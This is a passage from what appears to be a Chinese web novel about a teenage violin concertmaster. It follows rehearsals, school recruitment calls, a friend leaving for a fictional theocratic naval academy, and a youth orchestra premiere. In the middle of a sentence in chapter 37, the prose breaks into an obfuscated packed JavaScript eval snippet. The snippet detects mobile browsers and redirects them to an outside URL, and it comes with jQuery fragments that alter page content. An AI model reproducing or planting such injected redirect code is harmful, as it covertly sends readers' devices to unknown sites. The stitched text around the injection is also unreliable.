中提琴的首席王宣皓,一个大男孩却一脸苦笑说:“不行不行,臣妾做不到啊。” 顾梓聿知道因为中提的指板更长,把位更宽,而中提还有很多小孩子手够不上,沉吟了一会儿改了另一种。毕竟弦乐的指法怎么比较舒服还是很重要的。 二十分钟后,柏嘉辉分开声部单独训练,单独训练效果都还行,但一合排就不是那么回事了。于是从某一次开始,顾梓聿跟着指挥棒的节奏,动作幅度越来越大,连着扬琴头提示后排的人,这一段有三十多个小节,而且进度越来越快,情绪越来越激烈的,顾梓聿在开着空调的排练室里一下子大汗淋漓。 柏嘉辉停下手势,眉头紧皱,敲了敲谱架:“弦乐,太软了,声音得压下来,带着重量,像铁砧落地,而不是轻飘飘地扫过去。” 乐团沉默了一瞬间,弦乐声部的团员们交换了一下眼神,尝试调整后再次演奏。可这次,虽然音量有所提升,但声音仍然零散而虚浮,缺少一种深沉的凝聚力——第二小提琴的节奏不够果断,第一小提琴的高音也不够有力,和中提琴大提琴配合起来没有层次感,整个音色听起来零散,缺乏统一的方向。 “梓聿,你来带一下。” 顾梓聿没有立刻示范,而是先回头看了一下大家的状态,他发现大部分团员脸上都有点迷茫,有些人眼里带着犹豫,部分人不安地看着他,像是在等待一个指引,有些人则流露出一丝不服气的情绪。 排练到现在,他的感觉是,有很大一部分人对这部分曲子没有概念,不知道该怎么拉。 这也很正常,全新的谱子,从来没有听过的旋律和编排,之前也从来没有过别的演奏的版本。如果不是很有经验的演奏者,不知道整个乐团应该出来的音响效果怎么样,也就不可能知道自己声部应该怎样配合。第一次遇到这样的情况,的确会有点无从下手。 顾梓聿心里明白柏嘉辉的意思。作为首席,他的声音不仅仅是第一小提琴声部的核心,更是整个弦乐的标杆。他需要给出一个标准,如果他的演奏没有力量,整个乐团都会散掉,如果他不敢带领,乐团的音乐就会缺乏统一的意志。 但是,第一次排练,一千个人心里会有一千种演绎。这种情况下,如果他演奏得太强势,很可能会激起部分团员的抵触情绪,但如果他带不出方向,那指挥和乐团都会对他失去信任。 他想了想,换了一种方式。 他不急着拉琴,而是先大声问道:“大家知道这里我们要表现出什么样的情绪吗?” 几个人愣了一下,有人小声道:“应该要更坚定一点。” “对。在这里,为了和第三乐章作对比,音量应该逐渐增大,渐强的效果要做出来,弦乐需要呈现出力量感,当然同时还要保证节奏的稳定。” 大家都纷纷拿起铅笔在谱面上做笔记,但还是有人面带愁容:这里到处都是渐强,这个渐强和那个渐强到底有什么差别? “大概是这种效果,我示范一下。”顾梓聿抬起琴,轻吐一口气,弓毛压实琴弦,直接拉出第一句旋律——一个深沉而具有张力的音符,如重锤落地。比刚才所有人的声音都要更坚定、更深沉,仿佛带着不容置疑的重量。 在场的人几乎同时感受到了一种不同的力量。 他先是单独拉完了第一小提琴声部的整个段落,然后示意二提、中提和大提的首席:“请跟我一起来合一下这一段。” 另外几位很快就跟上了他,几位首席的配合示范一下子就给了大家很直观的示意。柏嘉辉满意地点了点头:“很好,就是这样,大家跟着再来一次。” 顾梓聿的呼吸、肩膀、甚至眼神,都在为乐团传递着一种无法言喻的力量。每一个小提琴手的演奏都微妙地开始与他同步,其他人逐渐被带动,第二小提琴、低音提琴和中提琴的声音逐渐融为一体,弦乐声部的张力和厚重感被慢慢激发。音色开始有了一致的方向。从最开始的模糊不清,到渐渐融合在一起,低声部稳住了支撑的力量,高声部也找到了力度的层次感,整个乐团的声音终于开始像一个整体,而不是一群分散的个体。 最后一个音落下,乐团里的团员们都不自觉地放松了紧张的肩膀,长出了一口气,似乎都感受到了弦乐中从未有过的统一感和力量感。柏嘉辉露出了一个微不可察的笑容:“很好,就按这个感觉来。梓聿,你刚才的处理方式很不错。” 顾仲景放下琴,微笑点头感谢柏老师的肯定。他轻轻舒了口气:他的想法很简单,这首曲子是献给吴老师的,不管指挥的工作做得怎么样,作为首席,他必须要竭尽心力,尽善尽美。 吴老师的心血,我来守护。 37.惊不惊喜 在中考成绩还没放出的日子里,顾梓聿的生活安排得很满:小提琴是第一要务,准备面试和乐团排练双轨并进,光这两个任务就占了他每天的大部分时间。加上学语言、看一些相关的专业书,有时和明祎出去打打篮球、游泳,做点无器械训练。 唯一难过的,就是要乖顺接受顾仲景严厉目光的洗礼和时不时的冷言冷语——没错,他还在为之前“用自己的身体健康作威胁”,选择留下来继续读一年书而还债。 除此之外,一切都好,他从来没有像现在这样,期待着假期赶快过去,期盼着新学期的到来。 中考后的暑假,却并不像王伟想象地那么无法无天的快乐。他拒绝了同学朋友出去玩的邀约,只一心宅在家里,做着班级里发的那些初高中的衔接教材——这可是一班的老师们专门给他们编写的,其他班的学生都没有呢。 虽然他们也不一定想要。 王伟是在初三的时候破例转入一班的。 刚入学时的分班,是通过入学考试的成绩来评定的,而就读于一所普通小学的王伟,既没有参加过什么竞赛班,也没有什么过人的特长,即使他在那所小学名列前茅,可在全城的佼佼者面前又有什么优势呢?他一拿到八中摸底考试的卷子就懵了:看起来题目涉及到的知识点并没有超纲,可为什么他却一点思路也没有? 从小到大也算是别人家的孩子、对自己的未来很有野心的王伟并不满足于就这样被分到一个普通的班级。在初一的时候,别的同班同学还在为刚上初中感到无比欣喜,男生们的心思都放在呼朋唤友打球拉架上,有些早熟的女孩子则忙着花枝招展地打扮起来,美瞳和假睫毛开始流行。他前座一个女生,长得倒是也算清秀,就是喜欢改校服,把校服短裤裁的更短,把校服长裤裤脚缩紧,顶着一头又黑又长的清汤挂面,老爱回过身来有的没的和他搭讪。 他很烦。他把所有的心力都放在成绩上,没工夫理会这些旁枝末节。他看着他的月考排名从中游一路向上走,到三百名,到二百名,再到七十五名,之后,每前进一名都很困难——年级前四十名永远都是那些名字,只是先后排列顺序每回有些不一样罢了。直到他第三次停在三十七的位置时,班主任来找他谈话,询问他是否想去一班。 想啊,当然想!王伟的心一下子跳到半空中惊喜地叫嚣。可在班主任面前,他却有分寸地表示出了“舍不得老师和同学”、“宁愿放弃更好的机会来帮助同学”的意思。年轻的女老师很受感动,语重心长地为他分析转到一班的好处,并表示为这样重感情的学生感到骄傲,极力推荐他到一个更好的环境发展。 王伟是个心气很高的人,在原先的旧班级里他根本没有看得上愿意结交的朋友,又怎么会对旧班级有丝毫的留恋呢?在跟班主任推拉了几个回合后,他很干脆地收拾了东西。在转班的前一天,他一个晚上没睡好,想的统统都是等到了一班他要如何介绍自己,如何和那些“传说中的大神”拉近关系,如何能更进一步,摆脱这个“三十七”的帽子。 第二天,王伟就搬着自己的桌椅到了一班,他个子不高,干脆程琤就把他安排在了讲台旁。王伟抱着期待的心情做了自我介绍,大家都礼貌地鼓掌了,还都一个个简单地介绍了自己的姓名,王伟很开心,觉得这似乎是一个不错的开始。 然而,很快他就意识到,他就像一滴油,永远融不入一班这一碗水。大家都很礼貌,但是礼貌地疏远。他自己呆着,没有人会主动去搭理他;若是男生群里聊了起来,他凑过去应和,大家也就是笑了笑,很快就散开了。 他觉得很无助、很尴尬,甚至有些愤恨,尤其是对着那个顾梓聿。 当一个人足够优秀近乎完人时,一点小小的瑕疵都能使他被千夫所指。 鼎鼎大名的顾梓聿,是校园里的风云人物,走到哪里都能听到他的名字被提及。而现在,当他所被称赞羡慕的成绩、能力都不再出众,却依然在一班有着举足轻重的地位时,王伟的心里,是很有些愤愤不平的: 真是奇怪,明明初三下学期,顾梓聿的成绩已经掉到百名开外,根据成绩流动的原则,他早就没有资格继续待在一班了,但没有人提起这回事。他本人,似乎还是大家默认的那个’不可动摇的第一’,平时还总是有人爱问他问题。 本应对顾梓聿失望的老师们,这半年里没有改变一点儿态度,仍是那样亲热地嗔怪地,对待他如同对待一个年幼的突然间耍赖皮的小男孩,宠溺着包容着。而就连王伟喜欢着的女孩们,也都总是把目光悄悄投向他的方向。 中考的成绩已经出来了,王伟考的很不错,是他初中三年以来最好的成绩。当天晚上,他就接到了一中的电话,问他是否愿意“作为准高一生来一中参观”,暗示他志愿选择一中。 在鹿城,众所周知,三所高校呈三足鼎立之势:一中占尽了教育考试院的考试资源和地理优势,在社会上宣传力量强大;八中是老牌的教育强校,师资力量强大,成绩突出,历史悠久。这两所学校数十年来从统考的平均分、各类学科竞赛获奖人次到优秀毕业生去向、校庆的隆重程度从来都是针锋相对,对于优秀生源的争夺激烈程度更是可以预料的。而外国语学校手握语言类学科保送大权,有这样的优势,一部分考生也会心有取舍——毕竟不管保送的院校如何,这也是一条比较轻松的路。 每次中考成绩出来,一中和八中就会开启火热的“抢人大战”。 王伟拿着电话,话筒那头一中的老师热情地喋喋不休:“…咱们学校啊看重素质教育,讲究全面发展,你是八中的学生,肯定也对你们学校的填鸭式教育很不满吧,都是题海战术,没有意思。我们一中不但历年高考成绩都很好,而且学校里社团氛围浓厚,非常自由,高中部就在老城区中心,可以自由选择寄宿或者走读。看同学你的档案,一中离你家也很近啊,八中的高中部可在郊区呢!交通那么不方便…” 王伟知道这些,他列过对比表了,选择一中的理由远远多过选择八中的理由,更何况他讨厌住宿生活,可就读八中就意味着一定要住宿,这简直是决定性的因素! 但是...纵使选一中有千条理由,选八中只有一条理由,他也还是会选择八中——因为八中有顾梓聿。 别误会,他只是想看着,在接下来三年里,顾梓聿怎样远远地被自己甩在身后,远远地。 当然,顾梓聿也接到了这个抢人电话,但不是凭中考成绩。 事实上,他的中考成绩离八中的最低投档分565分仅高了20分,而最高分则整整高了61分。不过,顾梓聿还是蛮开心的,因为这个最高分得主,也就是鹿城今年的中考状元,正是他的同班同学,卓玥。 虽然说他和卓玥一直从小学同班到初中,可他跟卓玥并不是很熟。因为卓玥平时身体不太好,她有很严重的过敏症,正巧鹿城又气候潮湿,四季温暖如春,因此花开的也多,卓玥对花粉螨虫过敏的厉害,一犯起病来就是过敏性哮喘、过敏性荨麻疹轮番上阵,往往一个月也就能来上半个月课,她大部分时候都是在家里自习。 即使身体这样不好,卓玥却是一个很认真勤奋又很聪明的小姑娘。她很少来上课,学业却没落下,更何况中考并不像平常的普通考试考察知识薄弱点,也不像学科竞赛出怪题刁钻为难人,而是旨在考察一个学生大概的知识框架是否严密牢固,出题四平八稳,更重要的是应答者的细心、耐心和小心,而卓玥,恰恰不缺这些。 一中的老师自从初三上的市质检就注意到了顾梓聿——这孩子简直是个天才,虽然化学只考了76分,可看看其他科目——国文135分,数学150分,索伦语149分,物理89分,政治20分,体育20分, 算起来,除了化学,他所有其他科目加起来只扣了17分!这样,即使化学考的很差,他依然拿到了639分全市第一的成绩,他们自己学校的陈若谷拿了638分,只以一分之差屈居第二。 更夸张的是,当他们看到这个名字有点眼熟时,才发现这个学生曾经在初一拿过初中生化学竞赛全国一等奖、在初二的时候参加高中联赛拿了国家二等奖!这样的学生,化学才考了76分,这不是搞笑吗?所以,多方打听后,他们才听说了事情的原委——居然是填错答题卡的大乌龙! 这样一来,假如扣去化学一科不算,八中的这个学生,整整比他们一中的孩子高了25分,25分啊!第一名和第二名的差距原来有这么大! 一中的招生老师不淡定了,去翻别的成绩,他们这时才恨起为什么教育考试院直到初三才安排第一次统考,否则他们早就发现这个苗子了,现在还得偷偷去查他在八中校内的成绩! 不用查了!一中的竞赛老师很是苦涩的说,他的竞赛成绩就足够好了。数学奥赛、物理奥赛、信息学都拿过国一,甚至初二的时候破格参加国际物理奥赛拿了世界第一名!世界第一名!嗯,带物理的那个老头叹口气走过来,我早就想要他了,你们赶快把他捞过来啊。 招生老师不信邪,偷偷托在八中初中部的“卧底”一问——嚯,不得了,截止到初三上学期,每次大考小考,永远都在前三,几乎都是第一。初三下嘛,成绩是差了点。不过男孩子,贪玩也是有可能的。 所以尽管顾梓聿今年中考成绩出乎意料的差,一中的老师还是义无反顾的第一时间上门来挖人。 第一次过来,顾仲景不在家,顾梓聿很有礼貌地泡茶奉上,坐在那儿听了快一个上午,双方就报考志愿充分地交换了意见。很遗憾,顾梓聿连去一中转一转、看一眼新校舍的机会都不要。 其实他早就去过了,数学奥赛的时候他的考场就是分在一中,再加上有一次他们乐团在一中的震旦音乐厅表演,连一中的食堂都尝过了,相比之下并没有八中的现煮面和盖浇饭好吃! 顾梓聿一直很有效率地反抗着一中老师的洗脑,直到老师们都口干舌燥了。顾梓聿非常诚恳地把他的真心话又再次重复了一遍,一边说着“不好意思啊,我已经选了留在本校了,真是考虑了很久的”,一边礼貌而婉转地表达了逐客之意,还体贴地把老师们送出了小区口。 第二次就不是登门了,改打电话了,顾梓聿已经有点敷衍,心不在焉地“嗯嗯啊啊”了半天,老是想插一句“我已经选择留校了”,却始终被早有准备的招生老师堵的说不出来,郁闷地听了一个多小时,好不容易插.进了这句话,就马上“谢谢谢谢麻烦您了再见”地挂掉电话,生怕对方再打电话来,还拔掉了电话线。 不过,这个幼稚粗暴且与现况无帮助的行为很快就被顾仲景严厉批评了一顿。 顾梓聿有点甜蜜地忧愁:他都考得这么差了,怎么这些老师还要他呢?难不成学校间的挖人竞争已经这么激烈了吗?连仅仅高过录取线20分的学生都要? 八中的招生老师虽然对顾梓聿的选择有信心,也还是打了电话给顾梓聿做工作,让他选择留校。顾梓聿刚挂了这个电话,电话铃又响起。他接起,说道:“您好,我是顾梓聿,请问有什么事吗?” 对面一个陌生的男声刚介绍道:“同学你好,我是一中的…” 顾梓聿就立刻说道:“您好对不起我选择去八中生是八中的人死是八中的鬼请不要再打电话来了谢谢再见。”一连串话就像子弹一样迅雷不及掩耳,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283905|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不给对方留一丝机会。 “就…这样挂了?”电话那头的男人惊讶而又无辜地看了看手里的话筒,又凑过去听了听,真的是一片忙音了!他无奈地看着对面一样无奈的招生老师,摇摇头笑了:“算了,这孩子这么倔,就这样吧。看来八中今年走运啊。” 顾梓聿不知道自己挂了谁的电话,总之在他这样强硬又孩气的回答下,真的没再有电话打来了。顾梓聿挺开心的,这开心一直延续到去学校交志愿表的那一天。 “你说什么?”顾梓聿刚把自己填好的志愿表交给招生办的老师,就听到旁边几个女生在讨论一个令他心神巨震的消息。他转过身,急切地甚至不顾礼节地按住正在讲话的那个女生的肩膀,问道:“你刚刚说什么?张瑾妤怎么了?” 那女生认识顾梓聿,自然也听说过他们两人关系好,尽管有些被吓到,仍是仔细回答了他:“我们刚刚听说张瑾妤来交志愿表,填的是海军彭浪士官学校。” 什么?!顾梓聿僵立当场,对面的女生嘴巴还在一动一动,但他却早已失去了听见的能力。这样的“惊喜”,对他来说,委实有点太过惊喜了。 薄薄的志愿学校宣传册里,顾梓聿从来没有注意过这所军校。他如今第一次认真地阅读起这短短的招生简章,越读越心惊——张瑾妤那样自由不羁的灵魂,怎么能够忍受这样一所死板教条、纪律严明的军校? 海军彭浪士官学校招生简章 —— 信仰即荣耀,海洋即疆土 —— 一、学校简介 海军彭浪士官学校由神圣教廷与帝国海军部联合设立,旨在培养既具有虔诚信仰又拥有卓越军事才能的帝国海军军官,强调军纪、荣誉、服从。学校以深厚的宗教传统、严格的军事训练、精密的战略教育闻名,是帝国最负盛名的军事学府之一。校区位于东海的一座军事化岛屿上,依山傍海,拥有直通深海的军港,设有独立舰队训练基地。 作为帝国海军的最高学府,彭浪士官学校的毕业生遍布帝国海军高层、帝国圣骑军、军事执政机构及各大舰队指挥部,被誉为“帝国舰队的摇篮”。 二、招生对象与录取标准 1. 招生对象 帝国公民,年龄15岁以上。 贵族与军官子弟优先录取,同时也面向天赋卓越的平民开放一定名额。 具备海军服役意愿,愿意为帝国与信仰献身。 2. 录取要求 军事素质考核:体能、战术、航海基础知识测试。 智力与战略思维考核:测评指挥才能、战术推演能力。 忠诚度审查:必须通过神圣教廷的信仰测评,宣誓效忠帝国与教廷。 三、学制与培养方向 六年制,毕业后授予海军少尉军衔,并可直接进入帝国海军或圣骑军舰队服役。 采用“军事+宗教”双轨培养模式,在培养未来海军指挥官的同时,确保学员具备坚定的信仰。 四、特别说明 毕业生需至少在帝国海军或圣骑军服役10年,否则将视为叛国罪,遭受军事审判。 任何形式的异端思想、背叛行为均将受到信仰审查,严重者处以神圣裁决。 本校不接受外籍学员,除非获得神圣教廷特许。 顾梓聿盯着手中的宣传册——这样的军校,培养的是效忠神权与帝国的武人,不适合她这样一个天生该在风浪里自由翱翔的人。就像当时她对王老先生说的那样,她的人生并不止于此,毕竟她拥有的是更广阔的一片天地。也许她会去某所更自由的学院,或许成为一个桀骜不驯的冒险者,离开单调的生活去环游世界,这些都是顾梓聿对她的想象,她可以在风浪里航行,却不该被囚禁在一座钢铁铸成的要塞里。 他们认识以来,他见过她对照本宣科的课堂的不屑一顾、在操场上偷懒晒太阳的模样,见过她逃课翻墙从围墙上一跃而下的灵巧,见过她对口若悬河的领导毫不掩饰地不耐烦。她的性格、她的桀骜,甚至她骨子里流淌的那股带着些许浪漫主义的骄傲,都让他无法想象她如何适应军校硬如钢铁的军事纪律。她从来都不是一个乖女孩、一个能被规则驯服的人,却亲手把自己关进了这里? 他不明白。 他是为了避开军校而被迫放弃热爱的普通人,而她却竟然主动走进这座黄金牢笼,选择了纪律、服从、战术课,死板教条的作息、冗长的祷告仪式,还有无休止的训练。 她到底在想什么? 他真的很想冲过去当面问她一句:你是真的愿意吗? “嗡—嗡—”桌上被调成静音的手机还在不知疲倦的振动,张瑾妤看着屏幕上那不停闪烁的“顾梓聿”,静了一瞬,苦涩一笑,长按电源键,将手机关机。 她大概知道顾梓聿打电话来是为了什么。有了这一通电话,未来军校的生活似乎也可以忍耐,也不再那么令人感到恐惧了。 不过,她却没有勇气接起。 是怕自己会忍不住屈服吧?屈服于命运,从此甘心做一个普通人,忘却前尘种种,碌碌一生,却能有个知心人陪伴左右,这样想来该是多平淡又幸福的的画面啊。 最开始,她以为顾梓聿的“不靠谱”只是一种引起她注意的方式,带着几分轻浮,带着几分调皮,仿佛他只是在玩笑中试探她的心意。于是,她没有理会,保持沉默,无动于衷。 她知道,将来她走的路充满了责任和无法回避的选择,而顾梓聿有着属于自己的光明未来,他们的未来根本不可能交集。她不想成为他人生道路上的障碍,更不能让他被困在她的世界里。 她最终决定不告而别。 38.金帆号角 对于顾梓聿来说,张瑾妤的不告而别是一个他不愿意想起的噩梦。那一天得知消息后,他打了一下午的电话,没有人接。 他不明白,为什么她会毫无预兆地消失,为什么没有给他一个解释或告别的机会。 其实,在第三个电话还是无人接听时,他心里就明白了,但他还是不愿意相信,而是固执地认为“瑾妤肯定是有什么苦衷和不得已的情由”,差点要问了她家地址冲过去。幸好同样去学校递交报名表的姜家兄妹闻讯而来,他俩头脑还比较理智,明珺愿意陪着开解,明祎则能武力镇压,又因为顾梓聿还是蛮怕顾仲景的,不敢大声闹起来,此事也就不了了之了。 但他的心情崩溃到极点,焦虑、愤怒、痛苦交织在一起。他几乎无法相信眼前的一切是真实而不是他的噩梦:怎么会发生这样的事?为什么她会这么做?他感到自己被背叛了,仿佛所有曾经欢笑共度过的时光都变得一文不值。 没有她的未来,空荡荡的,甚至连空气都变得沉重。 没过几天,姜家兄妹就出发去帝都了,这也是自姜家父母去帝都工作后,他们重聚的最长的一个假期。姜家父母请了个长假,陪孩子们从华纳出发,飞到欧尔多利大洲,从布里斯兰的首都阿斯特拉开始自驾游,游览了加洛林联邦的好多个国家,最后还到达了北境联盟。 姜明祎经常给顾梓聿发他们出去玩的照片,顾梓聿当然也为朋友开心,但是那一段日子,他一直没能够安然入眠,一般都是开着听不太懂的外语教学电台——比如教索伦语母语者学习法兰语的频道,听着困到极致了才能迷迷糊糊地睡着。这样几次被顾仲景发现手机就放在枕头边,还是被狠狠揍了几下。 乐团的事情倒是一如既往的顺利。短短两个月,鹿城学生交响乐团就拿下了《金帆号角》,并信心满满地准备搬上国际音乐节的舞台,不可谓不神速,这也要得益于魔鬼般的排练计划—— 一周两次的分声部排练,两次的全乐团合练,轻轻松松10个小时打底。加上演出前最后两周的大集训,早上九到十二点,下午两点到五点。柏嘉辉由于日程繁忙,只参与了合练的部分排练,分声部的排练,是由声部首席和鹿城爱乐乐团的指导老师一起组织的,也有几场合练是学指挥的学生代指的。 《金帆号角》不是一块好啃的骨头,全新的曲子,大型的结构,同时还包含了不少的技术挑战,顾梓聿现在都还记得排练时遇到的种种难题,但这些在柏嘉辉的指挥棒下都变得迎刃而解。说实话,柏嘉辉的性格真的很稳定,又很幽默,一点儿也不急躁,很多人都开始喜欢上柏嘉辉了。 这部曲子里,节奏、音色平衡、团队默契,甚至有些声部的体能也是一大挑战。比如第一乐章的开头,弦乐和铜管部分需要极度的平衡,弦乐不能盖住悠远的圆号,否则晨曦的感觉就会消失。第三乐章的音色平衡也很重要,弦乐的泛音是个难点,一激动就容易控制不好音色和音量,最后把竖琴的拨奏给盖住了。 虽然大家分声部排练都完成的不错,但合起来之后总还是会有一些默契不足、各自为战的感觉。柏嘉辉试图给大家一些指示,不过都是些诸如“不够磅礴”、“要更有史诗感”的抽象要求,一时间大家很难领会。 之后他就改变了语言艺术,说铜管“应该像胜利的号角”而不是“堵车的喇叭”,说弦乐“狂风海啸要真的让人有失去平衡、掉入海里的感觉”而不是“杀鸭杀鸡”。顾梓聿很给面子地接了句“让我们给柏指挥来一场飓风”,结果打击乐小哥积极地响应了号召,在敲定音鼓的时候太过用力,把全场吓了一大跳,惹得所有人爆笑了至少一分钟。 第一次完整排下来之后,铜管组哀嚎着“嘴唇已经死了”,弦乐是一向的腰酸背痛,而打击乐手则精疲力尽地直接躺倒在地上,直到柏嘉辉说再来一遍的时候才能勉强爬起来。 柏嘉辉花了很多时间在盯节奏上。毕竟还不是专业的乐团,也是全新的曲子,尤其在第二章节一些不规则节奏的段落和复杂的加速度段落,经常大家拉着拉着就错位了。要是吴老师,在这种情况下他肯定要发脾气开始骂人,但是柏嘉辉形象地把大家比作“暴风雨下的船员”,要求大家盯紧各自的首席,而首席们盯紧顾梓聿,先唱着节奏打着拍子,再一起演奏,以免被“风浪”吞没。 经过一次次排练,节奏确实是好起来了,只剩下打击乐手一个人在风中凌乱,无奈自嘲自己就是“暴风雨本身”。 直到演出前的最后一次总排练,所有人都很投入,音色、节奏、默契都达到了排练以来最好的状态。柏嘉辉站在台上,稳稳地引导乐句,他看着底下的小孩们,每个人都很专注,每个乐章的情绪都很到位,大家仿佛真的一起经历了一场海上冒险,发梢上的湿意不是汗水,而是暴风雨的雨滴。 ——他们准备好了。 最后一个音符落下,排练厅陷入短暂地寂静,所有人都安静地抬起头看向柏嘉辉。 男人放下指挥棒,轻轻地鼓起了掌,随后,顾梓聿抿唇微笑,拍着琴箱应和,大家或跺脚或吹口哨,都洋溢着被认可的自豪感。 在这个夏天,流火八月的第二个星期,鹿城成为了音乐的海洋,国际音乐节正在这座古老又富有现代气息的滨海城市里如火如荼地进行。从清晨到深夜,琴声、歌声、欢笑声交织在一起,为这个夏天涂抹上了绚丽的色彩。 在人艺音乐厅,世界级的独奏家与交响乐团轮番登台,而在城市的每个角落,街头艺人、摇滚乐队、阿卡贝拉合唱团等等,各种形式的音乐表演如星火般点燃这个夏天,鹿城本身就变成了一座巨大的音乐厅。城里大大小小的剧院、音乐厅都坐满了热情的市民与游客,免费的、主题多样的音乐会和不同体裁的音乐活动都吸引了无数的眼球。人们呼朋引伴,携老将幼,年轻情侣和白首伉俪都一样兴致勃勃、乐在其中。 而每当夜幕降临,白鹿塬的音乐喷泉便准时开启,这座耗资2.5亿华纳币、堪称国际顶级的大型实景水秀可谓是精彩绝伦,灯光、音乐与水势巧妙地结合在了一起,晶莹的水珠向着天空喷射出烂漫的水花,惊艳了每一位游客。 星期六晚上,鹿城学生交响乐团作为国际音乐节的一大亮点,将在人艺音乐厅,和下一届国际音乐节的承办城市、圣卡斯蒂洛的学生乐队联袂献上演出。 尽管排练的时候一切顺利,但是正式演出当晚,大家都还很紧张,毕竟这可是《金帆号角》的初次亮相,大家都隐隐把这次表演当做是向吴老师致敬的汇报演出,而且听说作者林生一老师今晚也会莅临现场,观看这部作品的首演,就连柏嘉辉也感到了一种不同往常的紧张肃穆。 在后台候场的时候,长笛还一直在不停地反复练习指法。长笛的独奏部分是正在读医科预科的赵可欣,即使背负着巨大的学业压力,她却还是按时参加了每一次的排练,从无缺席。她的紧张,旁边的人也看得出来,金妍看着她绷着一张脸,忍不住打断她:“别紧张,你的部分已经练得很好啦!” 她们俩是第一长笛和第二长笛,赵可欣内敛娴静,金妍外向活泼,两人认识也有三年了,往常两人的声部安排总是换着来的。但这一次,《金帆号角》只演出一场,赵可欣因为之后要全身心地投入医科预科的课程,估计这就是她最后一次参加乐团活动了,所以金妍非常大方地把机会让给了朋友。 她是看到了赵可欣的付出的,她完全理解朋友的紧张,但也明白这紧张都是无畏的情绪。她轻轻抚着赵可欣的背:“今天温度没什么问题,音准OK的。” 长笛是金属材质,最容易受温度影响,刚拿起时可能音准不稳,但赵可欣在手里摩挲了这么长时间,该足够稳定了。 姜明珺安静地立在顾梓聿旁边,轻轻长吐一口气,低声给自己加油鼓劲道:“我已经准备好了,接下来就是享受舞台。”顾梓聿听到了,转头对她安抚性地笑了笑,站在他俩旁边的黄子栋架上琴,来了一段第二乐章快速上行的琶音,音色很华丽,完成度很好,然后他低头对旁边碎碎念的姜明珺说:“没事的,你就稳着来,不要想着要拉得完美。其实你放松一点,音色会更饱满。” 姜明珺对黄子栋这种到处找存在感的行为表示无语,不过她也知道这就是对方的性格:自来熟、表现欲强。吴老师在的时候他还没这么多话,柏嘉辉性格很民主,他就愈发地爱刷存在感,喜欢在排练休息时点评大家的演奏,有时候甚至在柏老师讲话的时候还忍不住在下面补充两句。排练时,如果合奏部分拉不齐,他会比柏老师更早地发出不耐烦的声音。 柏嘉辉看着聚集在一起的团员们,眼神鼓励地扫过每一位乐手,做着最后的加油演说: “各位,今晚的演奏,我们已经做好了准备,因为我们一起经历过所有的挑战,从第一天拿到谱子,到现在站在这里,你们学会了掌握狂风的节奏,学会了如何让号角吹响胜利的旋律,学会了如何在音乐里绘制出一片海洋、一场风暴、一段传奇!” “我们今天晚上不单单是演奏一首曲子,更是在讲述一个故事。记住我说过的,这是一个关于航行、风暴、胜利和凯旋的故事,但这也是你们成长的故事。今晚,不要去想那些细小的音符对不对,只要想着我们一起排练过的那些,相信你们自己,也相信我,跟着我的指挥棒,把故事讲出来。”?? “我相信你们一定能做到,而且,吴老师也相信你们一定能做到!” 他说到这里,目光落在铜管组,特别是圆号和小号手身上:“你们要热身一下,第一乐章开头就是你们,记住啊,晨曦啊,海面的波光粼粼啊。” 圆号听话地开始嘟嘟嘴,调整气息。长号和小号确认活塞和滑管顺畅,而单、双簧管含着簧片,提前测试发音。 大家都没有说话,而是互相对视,一切鼓励皆在不言中。 “领导们还没讲完呢?”大提琴首席张博文的表情已经逐渐呆滞,他那一头小卷毛配上涣散的眼神格外好笑。他已经是高中生了,但仍然倾斜了很多时间和精力放在乐团活动上。 柏嘉辉转过头向大家眼神示意,姜明珺明白这是让他们放松,但也不能太放松了。大部分人都低头调整自己的乐器,确保状态一切正常,有的人翻着谱子,有调皮的学生无声吐槽,悄悄做口型,模仿着领导的口气二次创作。 “同学们,准备好要上台了!”舞台上,领导的致辞终于结束,灯光调暗,时刻预备着的团员们终于松了口气,提起精神,顾梓聿站在队伍最前方,等到工作人员的示意后,步履稳重,带着弦乐组依次入场。 他走到自己座位上,第一小提琴声部第一排外侧,就在指挥台左手边,离观众最近的距离。他先对着台下的观众鞠躬示意,然后率先就座,姜明珺跟着在他左手边坐下,然后是黄子栋,落座在第一小提琴声部第二排外侧,顾梓聿的后方。大家有条不紊地找到自己位置,木管调整谱架高度,大提琴和低音提琴调整琴架带子,打击乐手检查鼓槌和定音鼓踏板的位置。 顾梓聿环视四周,见大家都坐定了,站起身来向双簧管刘昊然示意,刘昊然给了一个 A 音,顾梓聿稳定地调音,弦乐组先,然后是木管和铜管,整个过程迅速而安静,乐团的专业和纪律感不言自明。 林生一就坐在台下视线最好的座位之一,他看着这一群年轻人认真专注地准备着,很是感慨。这部曲子是他倾尽心血的力作,但老朋友却没来得及亲耳听见。 他静静地坐在观众席里,双手交叠放在膝上,目光温柔,等待着演出的开始。 调音结束,顾梓聿轻轻点头,安稳坐下。舞台侧门再一次打开,柏嘉辉从后台走出,舞台灯光亮起,台下响起掌声。乐团成员们一齐坐直,所有人目光投向指挥,柏嘉辉微微颔首向观众致意,而后没有一句废话,转身面向乐团,指挥棒缓缓举起—— 鹿城学生交响乐团终于迎来了属于他们的高光时刻。 指挥棒轻轻一落,圆号的旋律悠然响起时,林生一下意识地点了点头,指尖微微敲打着座椅扶手,像是在无声地指挥着自己熟悉的旋律。晨曦的微光和海面上的波光粼粼在小号、长号和低音管的铺陈下缓缓展开,中提琴和大提琴以柔和的和声勾勒出静谧的港湾,琴弓在空气中划出优雅的弧线,恰如船只划破海面的第一道痕迹。 当主旋律首次出现时,铜管与弦乐交织,各声部的层次感被柏嘉辉精准地掌控着,定音鼓低沉地轰鸣了一下,柏嘉辉的手势微微向上,一个精巧的渐强,像是水手们正在合力扬帆,风帆在海风中鼓起,乐团的声音瞬间变得饱满。 